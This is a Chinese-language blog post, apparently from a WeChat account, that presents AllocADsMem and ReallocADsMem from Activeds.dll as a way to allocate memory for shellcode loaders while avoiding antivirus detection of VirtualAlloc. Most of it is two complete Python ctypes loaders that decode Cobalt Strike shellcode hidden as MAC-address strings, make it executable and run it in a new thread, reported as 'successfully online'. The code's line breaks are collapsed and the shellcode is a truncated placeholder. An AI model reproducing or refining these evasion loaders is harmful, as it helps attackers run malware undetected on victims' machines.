分析-AllocADsMem内存申请

  • A+
所属分类:逆向工程

分析-AllocADsMem内存申请

一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚

内存申请



在现在许多的shellcode加载器中,内存申请是必不可少的一部分,常用的就是VirtualAlloc函数来申请一块动态内存来存放我们的shellcode


再后来,为了逃避检测申请内存的行为,采用了渐进式加载模式,也就是申请一块可读可写不可执行的内存,使用VirtualProtect函数将内存区块设置为可执行,从而规避检测。


然而现在也有杀软对VirtualAllocVirtualProtect连用进行查杀。。。。


新发现



在前几天找《mac,ipv4》那些内存加载函数时,一同发现了两个有意思的AllocADsMemReallocADsMem函数,竟然能申请内存?哎嗨?好玩。今就研究研究能利用一下不。

函数介绍


AllocADsMem

该函数在Activeds.dll库中,可以分配的指定大小的存储块。

函数原型:

https://docs.microsoft.com/en-us/windows/win32/api/adshlp/nf-adshlp-allocadsmem
LPVOID AllocADsMem(  DWORD cb);

参数是要分配的内存大小,成功调用则返回一个指向已分配内存的非NULL指针, 如果不成功,则返回NULL。


看这描述就是申请一个内存啊,但是测试发现该内存可读可写不可执行,所以可以用VirtualProtect修改为可执行属性

ptr1 = ctypes.windll.Activeds.AllocADsMem(len(shellcode))ctypes.windll.kernel32.VirtualProtect(ptr1, len(shellcode), 0x40, ctypes.byref(ctypes.c_long(1)))


ReallocADsMem

该函数在 Activeds.dll库中,可以复制指定内存内容,并新申请一块内存用来存储

函数原型:

https://docs.microsoft.com/en-us/windows/win32/api/adshlp/nf-adshlp-reallocadsmem
LPVOID ReallocADsMem(  LPVOID pOldMem,  DWORD  cbOld,  DWORD  cbNew);

分析-AllocADsMem内存申请

调用成功返回一个指向新分配内存的指针,否则返回NULL。


看介绍啊,这个函数干了两个函数的事,申请内存和复制内存,但是只能从内存中复制

但是我们就是愁怎么往内存中复制内容,所以这个函数看着很鸡肋


但是突发奇想,这函数能不能混淆视线,用AllocADsMem申请的内存我不用就是玩,我用ReallocADsMem将内容复制出来申请一个新内存,将该内存改为可执行

ptr2 = ctypes.windll.Activeds.ReallocADsMem(ptr,len(shellcode),len(shellcode))ctypes.windll.kernel32.VirtualProtect(ptr2, len(shellcode), 0x40, ctypes.byref(ctypes.c_long(1)))


测试



使用的mac加载器,测试的将VirtualAlloc替换为AllocADsMem函数,并改为可执行内存

环境py2.7,使用cs生成的64位shellcode

import ctypes
shellcode = b"xfcx48x83"
macmem = ctypes.windll.Activeds.AllocADsMem(len(shellcode)/6*17)for i in range(len(shellcode)/6): bytes_a = shellcode[i*6:6+i*6] ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
list = []for i in range(len(shellcode)/6): d = ctypes.string_at(macmem+i*17,17) list.append(d)
ptr = ctypes.windll.Activeds.AllocADsMem(len(list)*6)rwxpage = ptrfor i in range(len(list)): ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage) rwxpage += 6
ctypes.windll.kernel32.VirtualProtect(ptr, len(list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

成功上线

分析-AllocADsMem内存申请

接下来用ReallocADsMem来混淆一下视线,AllocADsMem申请的内存可读可写即可,ReallocADsMem申请的内存改为可执行

相同环境,测试上线

import ctypes
shellcode = b"xfcx48x83......"
macmem = ctypes.windll.Activeds.AllocADsMem(len(shellcode)/6*17)for i in range(len(shellcode)/6): bytes_a = shellcode[i*6:6+i*6] ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
list = []for i in range(len(shellcode)/6): d = ctypes.string_at(macmem+i*17,17) list.append(d)
ptr = ctypes.windll.Activeds.AllocADsMem(len(list)*6)rwxpage = ptrfor i in range(len(list)): ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage) rwxpage += 6
ptr2 = ctypes.windll.Activeds.ReallocADsMem(ptr,len(list)*6,len(list)*6)ctypes.windll.kernel32.VirtualProtect(ptr2, len(list)*6, 0x40,ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr2, 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

依旧成功上线

分析-AllocADsMem内存申请


小结



免杀没有测试,只是分享思路,申请内存函数不只是那一个能用。

本文始发于微信公众号(XG小刚):分析-AllocADsMem内存申请

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: